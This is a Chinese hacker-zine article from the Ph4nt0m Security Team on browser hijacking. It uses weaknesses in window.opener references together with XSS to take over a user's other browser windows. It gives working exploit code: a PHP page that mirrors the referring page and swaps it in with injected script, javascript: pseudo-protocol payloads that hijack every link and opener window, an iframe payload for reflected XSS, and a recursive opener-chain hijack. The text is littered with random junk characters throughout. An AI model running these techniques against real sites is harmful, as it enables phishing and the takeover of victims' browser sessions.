==Ph4nt0m Security Team==2 g! e9 Q5 b; D/ M0 V1 o% L
- H" j# q! O/ D) _ Issue 0x03, Phile #0x05 of 0x07( L) M* V1 K) h; F; t, |7 l
8 S% p$ F7 d. a) R. {! d" `' f! p2 C) l. J0 Y( N" D4 T& m
|=---------------------------------------------------------------------------=|
3 g- h$ n/ [5 m|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|9 w& Q( \* X/ Z3 X: [% H
|=---------------------------------------------------------------------------=| |7 V# o% B) V' Y
|=---------------------------------------------------------------------------=|
$ r$ V3 F8 S9 x& A* D% Y/ b( | K9 ~|=------------------------=[ By rayh4c ]=---------------------------=|" Q* n! h7 B6 S0 P$ [
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|& |* K' F U5 @, e3 h7 Y
|=---------------------------------------------------------------------------=|
* S+ \+ i& R& Q9 Y
, |% \. m% Y* Y0 U6 ?. l/ z6 C( s2 j/ G! t+ k$ D2 p+ [
[目录]7 M7 C3 e+ R/ z6 Q! S
% L' Z) i, a. m1. 前言) \+ e) K* d2 Z( A E) s7 E: _2 y I
2. 同源策略简叙
. T0 Y$ j( \) \0 `0 I0 j: n3. 理解window对象的同源策略
7 y* g/ X7 B; J1 w6 d4. 窗口引用功能中的同源策略漏洞- C+ a9 U* A* y+ q, \& C; D
4.1 父窗口引用子窗口的同源策略问题3 @* I( I/ p( n" S s2 s1 d
4.2 子窗口引用父窗口的同源策略问题4 Z& S1 ]( z3 Q2 d } Q' r
5. 利用窗口引用漏洞劫持浏览器0 z' @2 W0 M! O- O+ A/ ~# D( f
6. 利用XSS漏洞劫持浏览器
: J. w! Y; g2 y4 s0 V- q 6.1 正向跨窗口劫持: H! [5 S" }& i4 x
6.2 反向跨窗口劫持# Q: w* K7 r5 Y1 I: B" Q
6.3 极度危险的跨框架窗口引用劫持9 b1 f, m4 t/ H8 h5 ^3 }) d4 ]3 {
6.4 极度危险的正反向跨窗口递归劫持
$ p7 y2 ?7 Y1 t: ?! E# r 6.5 完全控制浏览器! p; h) @8 D" S; p' L
7. 后记1 Y+ A( F6 n! j R" w
8. 参考: A: M5 y+ D% C- T. n
$ ]& @3 H2 V6 T; x
5 H, [0 k7 z! [" s9 C& U8 H4 k
一、前言
# d, I8 ]" ^# Q% d: B! q0 I2 T8 o: g5 ] Y2 m* T/ e' D
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋$ d* \$ B S: S" i. u
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session2 U# P. C9 k1 }$ Z) Q
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被& x1 U5 |5 M9 T9 g1 [' C
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
8 o' ]6 @5 y2 y2 c" R" \5 E7 `! G- C- W
, m# r3 O$ g7 ~/ N$ I' C8 q; k' c5 D$ G2 ^! R2 b" j
二、同源策略简叙: j* Y) y# t+ n( o
- T' G8 @: x& K8 i7 t1 V) \
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
) O) `' V! e( r3 n4 i1 V从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
, u9 T+ o; u/ U/ G% g: c% G7 _& C曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木8 n, l+ ~! g2 v- a! g& g( s
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
. ], t( m3 X" i漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。4 C2 B3 J6 ]* m% p
* c6 f) F& w) G1 k6 F) t: u2 u Z, t! x, k1 |
三、理解window对象的同源策略. M+ C; E* L1 ^( b
3 c' A. v- T- i+ m3 |
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对$ v) c% g* r9 W m( n2 P
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
1 |# S( ?% N2 P# x7 f; H- p4 V( u% C5 k/ H. S" J$ ]* ~: F
--code-------------------------------------------------------------------------
$ G) i% Z$ S Z/ Z/ Y<script language="javascript">9 e+ c8 B- v! z$ _& B. M$ N# l4 |; Y
for(p in window) document.write(p+"<br>");2 x7 F }! T4 m4 y3 ]
</script>, @8 t; Q, E/ r. }
-------------------------------------------------------------------------------
' X, o: C( H# h; H7 L5 L' a) [: G$ J( _5 [. d8 Z
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% w9 R+ W& a+ M9 {
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
0 k8 a& Y8 m, U# x0 o4 U' T* v这些属性和方法就必须遵循同源策略。
( h7 ^8 g; ~% ~2 K0 v
- Y, [1 I% |; O3 n* }2 ~: n C) a& ~5 h 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那! a& h* X0 l( s1 _
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
+ a( C' V, H7 ]4 R0 N的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
6 z3 a) ~# i ~) C个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
+ X" _+ Y, M% e) r' M! e. ?: ]值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
, c% |2 l9 `( u7 ?6 Y属性并没有被拒绝访问。 I; t) W+ K, ]; r, n# I4 _: h
( @$ y# S, s% ]& U6 W1 ]--demo.html--------------------------------------------------------------------* S( a( T A9 H$ d% n" I# m
<script language="javascript"> ( N) e' p* w+ j3 l; s5 ]
function allPrpos(obj) { * A7 j1 J! [" E# r0 G: x
var props = "<table><tr><td>名称</td><td>值</td>";
, v$ i6 M5 y/ {( ~ for(var p in obj){
" A$ Y+ P7 b7 O2 A2 v1 \) | if(typeof(obj[p])=="function"){
2 g4 V7 \- O+ v obj[p](); 6 J5 I; O( C( y3 v7 a) M
}else{
3 H- z- F# W- j$ q( |; P/ l$ O try ; h" k: {6 E F4 P! ]
{
) h( [, G/ o! c) Z. N' O9 n: j props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
. S* y$ J7 r8 g2 ?# v0 s/ n, I } / J c! k+ h5 j3 [# h- Q
catch (ex)
/ k, p4 f% `. O, O4 V { 2 o& ^- c# ]- W
$ T: f& P0 a3 t( B' _" ^/ V1 t props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 2 b; X Y L" ?* z6 Z& ~+ u( k
}
3 {4 k. A: w; s % S4 b* f* _- H1 Y4 L
} 6 N; H! c" g$ u" E
} & v( v9 E" ~( C2 }. D, H" x8 f
, C6 U* ]" A: Q* j5 O! M document.write(props+"</table>"); * C2 u# n7 z9 [% _- { A; V
} S+ x+ w% S' B. z% h9 ^3 f( a
) P$ [% A7 ~ R+ k* |
function createWin() {1 O J7 J9 a# s' J: [
newWin = window.open ("http://www.google.com");
+ M' x8 m& s3 w4 O) f% [9 O7 T1 o setTimeout(function(){allPrpos(newWin)},2000);
# S2 s4 y6 \1 X! u} " `4 u# d" p n" c5 W" |9 W
2 ?; g% w: L9 }) ~+ _- h! |+ N5 }
</script> + S0 h$ q* K# @" H
; u3 {$ w9 Z) L# j" s<button onclick='createWin()'>创建一个非同源子窗口测试</button>; h5 t* R o$ A! y' N
-------------------------------------------------------------------------------' Q* R( o$ H" _
% p! _% u$ `' U, S
# |8 W$ B, F) b- I4 ]四、窗口引用功能中的同源策略漏洞
0 _' G2 P" x T
6 _9 z! y' j# i9 l$ G/ \" K( ?0 r V4.1 父窗口引用子窗口的同源策略问题
8 L* g$ I- N, T# M; [
. e/ r3 e* M. D' u) g% y 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,6 g4 f8 a- \, r* K* d, z
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道$ t: D! p0 P _# l! @
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
/ B& M9 u3 I1 ~ s0 I# N行测试,会发现父窗口可以控制非同源子窗口location属性值。7 J: D. c2 A4 \$ v% f# F
4 v$ z+ ^' J5 t5 ?--vul1.html--------------------------------------------------------------------
- c; X8 d# L7 ^5 d, S3 g& c<script language="javascript">
6 p3 v* ?/ W% E3 [/ Yfunction createWin() {
1 c) l# @2 j9 H% n; K; _6 [7 @ newWin = window.open ("http://www.google.com");
! L5 H- x: p' `1 A setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 8 P- m! ], H+ ^1 v
}
* w3 t1 M- A5 r2 z% W) M</script>
: y+ ], ?$ r8 n. H4 m
2 y# b3 H) ?6 S& E" i: i<button onclick='createWin()'>创建一个非同源子窗口测试</button># a0 N3 E+ H/ q
-------------------------------------------------------------------------------
. N; m. d% W; B6 f+ v" q i1 [5 T) f7 A. B; @9 [ Z2 `# Z. Q
; W% f9 `; R/ h- S- Q G* h4.2 子窗口引用父窗口的同源策略问题
6 k& Y% Y. D, \- ^
8 |5 K) r& B3 h1 p% D) \ 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
% X; k' a* s" u2 U: g5 M用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们6 R v2 j! |3 J( E% D
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
; u8 \3 p; L9 i' R6 [* J$ i会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
1 x5 B1 U6 D! b; v. ~
! \7 T2 I/ w8 ^+ N; `6 }7 O3 C2 L--code-------------------------------------------------------------------------
. a5 ]: F1 r8 u
( t, C/ X) X7 n7 K9 R. a( \javascript:window.opener.location = "http://www.80sec.com";void(0);# @ L9 T8 `: Y* v: B
( W( Q1 w4 Z3 j+ x( o( U-------------------------------------------------------------------------------
1 n9 ?: U/ d" P8 f" ]% ~& Q8 n1 p5 s) v/ e
3 L4 b, _9 N# w! t$ l# n
五、利用窗口引用漏洞劫持浏览器
" X, S2 D+ d* Z& D* J
2 \2 z4 s; X5 k# V 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
, K# f$ k% K' L6 X4 A窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
8 H' i/ {# ]+ \+ \; E- G5 ?6 s么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
" {! t% s! i# l# |# s6 ]5 T {
* E7 N p a& s: J# S 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产/ c- O( w5 o1 R
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或6 n0 z5 G6 y7 }+ J6 m: [
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
- O7 Z2 \6 @( {4 j后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
+ G" h+ v( T+ [" x2 J会产生什么可怕的后果。8 e3 g& [9 M Z
- G4 b( g6 H( |( y# w 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
2 x* z" A# x; c们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php9 k9 k( L" d2 R5 u
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时* q- A3 F/ G* T% I5 D( b
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% [, z/ J0 y) W
以做更多的事情,所有的一切仅仅是因为点击了一个链接。$ Z% S" z% p& L, r( s
8 s4 ?: y8 q& d6 }- Q
--hjk_ref.php------------------------------------------------------------------
$ s i) f+ x0 a6 p( m<?php
9 U2 R' ~5 W- Wif (array_key_exists("HTTP_REFERER", $_SERVER)) {( J1 P) E4 @ R1 k, m1 J$ ]
$Url_Mirror = $_SERVER["HTTP_REFERER"];* l! r/ v2 j8 I: \' t
} - B+ ~# u+ r" D9 @
if(isset ($_GET['ref'])) {6 s/ E8 v! S( ]' U+ Z
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
3 a `7 l) e) ~& ?) _3 C}7 b/ l; ^; C' Y( D- w2 y
?>
& Z5 f4 b6 F" y1 g1 C
; V! e6 h9 \, U8 l. W<script language="javascript">
7 m {0 _! {4 S1 _setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
7 {/ G/ n6 Y3 ]* R F</script> ]6 {8 U5 V, v! b& s
-------------------------------------------------------------------------------
: E5 J& S, a6 m5 s, o8 J" e
) b' w) h3 r) r, X3 `0 Y% @ 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
* c+ x" ]: p1 Y3 f% I8 S) H0 C- l" b0 v1 M
- y# N' z$ V5 \; O% {% T
六、利用XSS漏洞劫持浏览器
4 L$ b4 ~8 B: C$ m' j8 {- n5 _ x; @1 A1 L7 i1 `$ U
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为" M( ~- d) b% \+ d: q; L
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
. i$ ~: G6 E1 D' q% e: mXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
M2 B* W$ \1 Q0 q" f" r9 J讨论跨站师的终极技巧:
/ e( b' ^ s$ [+ x) B" f' P' y/ `
) L; j# A$ ^! d0 H
6.1 正向跨窗口劫持: l9 _' B8 {% v6 G/ ]- n4 F
1 Z. W$ ^' t. ]1 D; U- {, G 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
: u0 q/ i, i+ F1 D主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链7 Z7 J% A3 b6 G0 P: Q" P9 f
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话! d1 d" D0 `! W( m* R
框脚本。
% A# @1 S. t& s( u& n: v6 J" z% V7 f" j' L$ D
--hijack_open.js---------------------------------------------------------------* C, x r3 ^$ U( R5 N
6 ~0 x: `# V8 a1 H
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);9 m# T) _7 F9 P. { a
7 ~$ C, G- x0 \( a
-------------------------------------------------------------------------------- H5 ?$ H( T8 l5 ?, L: P
7 e5 _) n1 i0 x4 B' k6 o4 i, \ E, d' b! z5 I, y
6.2 反向跨窗口劫持
5 H [8 q0 i6 A* c% l+ Q1 `4 ], [8 m* D& H( K) _3 F( x
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代3 ^4 x; Y( f5 q4 `9 D5 Q" C
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 j1 x1 G% E. O# {
框脚本。1 u5 p ^( Y6 z1 Q* @" m
& [- I) C4 k" y: R7 ~
--hijack_opener.js-------------------------------------------------------------
7 o6 J. A* ]. m2 r) \+ r. d+ o
* N' [# E( u/ b6 o K& M+ a" Ijavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);6 e' Z, ^1 L$ J" J9 A7 X
, R$ _+ b1 }5 _( ?* i5 f3 t/ @7 ^
-------------------------------------------------------------------------------" x& T& O H, y% T" ~
& X9 S2 l1 B( }1 G4 A. C$ h
( b1 c9 t) A6 P5 p8 p6.3 极度危险的跨框架窗口引用劫持' z6 {" B0 R% ?+ J; h3 v r, M1 ^. X
$ d5 T5 _6 L. [8 M( ?" l+ Z7 b; U/ B 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞0 W! S! K2 N% S8 W% L W0 K' {
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
) K1 ? Q D5 d7 K# j- k适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
0 a' d( c! H L% o1 q) k& c非持久型的XSS,如下:# b% U$ u0 n$ k2 w9 m4 J- `( T
' D. E( b( J8 g5 L& L' m) O5 J3 F7 j
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>1 o* F; b9 ?9 I, F
- {, R% B+ O( y% q8 O; ]: b
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口# u& L# f; g$ n. w( G$ W; o: w
注入脚本。
; h$ H! o( V- Y! P2 H' c1 x( U4 K$ f8 e. y" j
--hijack_frame_opener.js-------------------------------------------------------. |5 u$ `) m+ u4 J2 u4 X% i
<script>2 d2 O% z v, P2 u! a, v
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
3 V6 A1 `+ k6 n: O: ^</script>
. C. y9 x: G( Y, P-------------------------------------------------------------------------------
! F! ^3 T4 p+ z" R- L g& s' n
3 j( w9 q/ u* P+ P, o3 Z( c+ u' c% p$ B
6.4 极度危险的正反向跨窗口递归劫持1 p# {: v: R3 @2 f; s% w; S) K
1 P \: _1 g, _ luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
h3 y! `8 F" |2 m& h3 O0 x的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
, D" n9 r6 ]$ y% }" i异常处理规避之间跨域页面的访问异常,代码如下:/ u8 |& S4 k/ w+ l F
2 Q% Y: g4 I( K4 ?$ t
--code-------------------------------------------------------------------------8 ~9 B3 y% C) p$ }" g
( s; O0 M8 b! Y1 p' M8 b2 W4 Q4 ~javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
' a! O4 v! Y, h7 ~
9 X( }5 I2 F; @/ b-------------------------------------------------------------------------------
* G# n$ Y& z" Z- Z, D) M; X+ k6 k e& O) d, x) O
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
9 C2 q) C5 M* @. n6 W6 Y- E: D, d3 K以劫持B域之前的A域页面,从而实现“隔空打击”。1 z9 D& B8 O) ]5 ?! e6 j' X
. X9 r; x" w% ?
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面6 m1 o. b4 C# M6 D( ~* L
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
; R! o7 t5 x( P' m7 O0 {
4 q( D( A) V: e+ Y- W* b. Z 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。3 G k& `( r% F% Z6 j7 }3 S) @
: r9 I/ z7 O' j. g5 G# @) c
9 \" c3 Q I( i4 i6.5 完全控制浏览器
4 [ q) b+ Y0 u. `
+ w' Q; t3 G/ N& P5 h: y 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则8 B3 c! J9 K+ k) s! q0 Q7 ?
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS A& N- I* ?- H2 L3 P3 m( C$ i
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失. m3 @4 t- a/ R [
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
2 c6 B1 Z9 q+ Y8 I/ J6 n& B列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站, B$ \" X! w- C8 z1 K
师的终极目标 - 完全控制浏览器。0 n! h( o: e1 {. q. S
8 ?% y! ^% A, Z& l9 l; e- v8 t1 e. l( V8 `8 [
七、后记2 c4 S% N+ v2 J* s
) j5 ~0 u6 f4 ^' |" G
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全7 y& d, U- [5 k4 N0 Q% v: N; m
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
! m* E; V$ c% I- \' R# O1 J( b过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。3 u$ Z- P( B* X' C+ k
. L& u! o) n# D5 H
; x, C) y% _7 p1 C- E八、参考
1 d/ K- p6 G0 {" s' u) b% |9 v
3 K( x0 L+ q. l) ]! K5 ?1. http://en.wikipedia.org/wiki/Same_origin_policy
! ?8 N- u: j% Q3 w2. http://code.google.com/p/browser ... licy_for_DOM_access& z+ b' X" O" m/ W: p
3. http://www.w3.org/TR/Window/
3 {: `2 l* d- c) _$ j1 o4. http://www.80sec.com/release/browser-hijacking.txt
& Y' E/ B0 a( _' a9 Y! T5. http://www.80sec.com/all-browser-security-alert.html1 |$ a/ `4 K f' d8 `0 |$ U
6. http://www.80sec.com/ms08-058-attacks-google.html
% b3 r5 ^5 ~* C0 M7 c8 z. ^" e) F; R: ~1 ^& g
-EOF- |